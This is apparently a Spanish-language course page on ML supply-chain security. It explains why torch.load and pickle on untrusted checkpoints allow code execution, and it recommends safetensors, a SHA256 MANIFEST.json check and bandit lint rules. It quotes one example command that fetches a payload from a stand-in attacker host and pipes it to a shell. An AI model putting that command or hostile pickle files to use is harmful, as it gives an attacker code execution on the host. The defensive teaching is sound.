Skip to content

English · Español

02 — Cadena de suministro (supply chain): pickle, safetensors, MANIFEST.json

La cadena de suministro es todo lo que cargamos desde disco — pesos del modelo, tokenizador, índices RAG. pickle es un intérprete Python serializado: torch.load(ruta_no_confiable) ejecuta código arbitrario por diseño. La alternativa es safetensors (solo datos, sin código) + un MANIFEST.json con SHA256 por artefacto, verificado por scripts/verify_artifacts.sh antes de cualquier carga.


Qué significa "cadena de suministro" para este sistema

Cada artefacto persistido que se carga en tiempo de ejecución es parte de la cadena de suministro:

Artefacto Path (según fases 11–32) Clase de riesgo
Tokenizer (merges BPE + vocab) artifacts/tokenizer/ Medio (JSON; solo integridad)
Pesos del modelo artifacts/checkpoints/mini-gpt-grammar.{pt,safetensors} Alto (deserialización)
Índice de embeddings de RAG artifacts/rag/index/ Medio (binario; solo integridad)
Fragmentos de KB del RAG data/kb/grammar-rules/chunks.jsonl Medio (JSON; integridad de contenido)
Corpus de fuzz de Hypothesis .hypothesis/ Bajo (solo en test-time)

La "cadena de suministro" es la respuesta a: si no confío en quién puso estos archivos en disco, ¿qué puede salir mal?

Pickle: la carga del peor caso

El módulo pickle de Python no es un formato de datos; es un programa serializado. Cuando llamas a pickle.load(f), la VM de pickle recorre una secuencia de opcodes que pueden:

  • Asignar objetos.
  • Llamar a callables arbitrarios (incluidos os.system, subprocess.run, eval).
  • Importar módulos arbitrarios.

Una secuencia de bytes de pickle que llame a os.system("curl evil.com/payload | sh") durante la deserialización es trivial de construir. No hay flag para "cargar solo datos" — eso no es lo que hace pickle.

torch.load envuelve a pickle. Por tanto:

import torch
# Hostile checkpoint downloaded from a model hub:
state = torch.load("downloaded.pt")     # ← arbitrary code executes here
model.load_state_dict(state)            # ← reached only if RCE didn't drop a shell

La probabilidad de RCE en torch.load(untrusted_path) es 100% si el archivo es hostil. No "depende de la arquitectura del modelo". No "si tienes tensores raros". Un archivo hostil se define como aquel que ejecuta código al cargar; el formato del archivo lo permite; el loader lo honra.

Qué significa "ruta no confiable"

La ruta es no confiable si se cumple cualquiera de las siguientes:

  • El archivo se descargó de un hub público (Hugging Face, Civitai, una release aleatoria de GitHub).
  • El archivo se envió por correo, se dejó en una unidad compartida o se adjuntó a un PR.
  • El archivo está en un host al que otro usuario puede escribir sin tu revisión.
  • El archivo se descargó hace un año; no recuerdas haberlo verificado.

La confianza es una propiedad de procedencia e integridad, no del hecho de tener el archivo en disco.

Safetensors: solo datos, sin código

safetensors es un formato diseñado específicamente para ser seguro de deserializar:

  • La cabecera es un objeto JSON: nombre del tensor → {dtype, shape, offsets}.
  • El cuerpo son bytes crudos para cada tensor, en el dtype/shape declarado.
  • El loader nunca instancia objetos Python más allá de tensores planos.

No hay opcode, ni callable, ni import, ni __reduce__. El loader lee bytes hacia un tensor. Fin de la frontera de confianza.

from safetensors.torch import load_file
state = load_file("downloaded.safetensors")   # just tensors, no code path to RCE

Un archivo .safetensors hostil aún puede mentir sobre sus contenidos — shape incorrecto, valores incorrectos, pesos envenenados con NaN que degradan la calidad. Eso es un ataque de integridad, no un RCE. Detectado aguas abajo por:

  • Comprobaciones de shape en load_state_dict.
  • Verificación de SHA256 con MANIFEST.json (más abajo).
  • Tests conductuales tras la carga (el arnés de la Fase 20 marcará un modelo degradado).

Trade-off: safetensors renuncia a la comodidad de "picklear cualquier cosa que Python pueda picklear" y gana una garantía dura contra RCE-on-load.

MANIFEST.json: integridad para todo lo demás

Incluso con safetensors, aún necesitas saber: ¿es este archivo el que espero, o fue cambiado?

La Fase 18 emite MANIFEST.json al final de cada ejecución de entrenamiento:

{
  "generated_at": "2026-05-22T14:31:08Z",
  "git_sha": "a1b2c3d…",
  "artifacts": [
    {
      "path": "artifacts/checkpoints/mini-gpt-grammar.safetensors",
      "sha256": "8f2a…cc91",
      "bytes": 4194304,
      "role": "model-weights"
    },
    {
      "path": "artifacts/tokenizer/vocab.json",
      "sha256": "1d3c…0a87",
      "bytes": 16384,
      "role": "tokenizer-vocab"
    },
    {
      "path": "data/kb/grammar-rules/chunks.jsonl",
      "sha256": "4e7b…b21f",
      "bytes": 102400,
      "role": "rag-kb"
    }
  ]
}

scripts/verify_artifacts.sh (Lab 04):

  1. Recorre artifacts[].
  2. Para cada entrada: calcula sha256sum <path>.
  3. Compara con el sha256 almacenado.
  4. Sale con 0 si todo coincide. Sale con código distinto de cero con un mensaje claro nombrando el archivo no coincidente.

Esto detecta:

  • Bit rot en disco.
  • Un atacante intercambiando chunks.jsonl por una versión envenenada.
  • Un compañero sobrescribiendo accidentalmente los pesos con un checkpoint antiguo.

No detecta:

  • Un atacante que también reescribe MANIFEST.json. (Mitigación: firmar con GPG MANIFEST.json, almacenar la clave pública out-of-band. La Fase 37 deja la firma como objetivo opcional.)
  • Bugs lógicos en los artefactos. (Mitigación: tests conductuales, Fase 20.)

El manifiesto es un tripwire, no una fortaleza. Pero es un tripwire barato que captura los casos comunes (rot, sobrescritura accidental, manipulación ingenua).

La amenaza en números

Una comprobación rápida de cordura, no una medición:

  • Probabilidad de que un checkpoint aleatorio de un hub sea hostil: baja pero no nula. Existen incidentes documentados (PoisonGPT, hallazgos públicos de bandit-scanner en HF en 2023–2024).
  • Severidad si un checkpoint hostil se ejecuta: 5/5 (RCE completo en el host como el usuario que ejecuta la carga).
  • Probabilidad de detección sin tooling: ~0% (nada visible durante la carga).
  • Probabilidad de detección con MANIFEST.json + política solo-safetensors: alta para manipulación ingenua, moderada para manipulación sofisticada (el atacante necesitaría comprometer archivo y manifiesto y clave de firma si está firmado).

Riesgo residual tras la política: bajo para este despliegue local mono-usuario. Más alto para cualquier despliegue multi-usuario, lo cual la Fase 37 explícitamente no cubre.

El cumplimiento: bandit + regla custom

La política "no hay cargas basadas en pickle en el código del agente" se aplica de dos formas:

  1. Regla bandit B301 — marca pickle.load y similares en src/.
  2. Regla custom — marca torch.load( sin un argumento explícito weights_only=True. (Incluso con weights_only=True, prefiere safetensors; el flag es defensa en profundidad, no la defensa primaria.)

just security ejecuta ambos como parte de CI. Un nuevo uso de pickle requiere un # nosec por línea con un comentario de justificación, revisión de código y una entrada en security/THREATS.md.

Recapitulación en un párrafo

La ruta de carga del modelo es el riesgo de cadena de suministro de mayor severidad en cualquier sistema ML: torch.load sobre un pickle no confiable es RCE por diseño. La solución tiene dos capas: cambiar a safetensors (sin ruta de código para ejecutar) y verificar todo contra los hashes SHA256 de MANIFEST.json (captura manipulación y rot). El cumplimiento es vía bandit + una regla custom, con scripts/verify_artifacts.sh como tripwire en tiempo de ejecución.

Siguiente: theory/03-threat-modeling-numbers.md — la matriz prob × severidad × (1 − detección).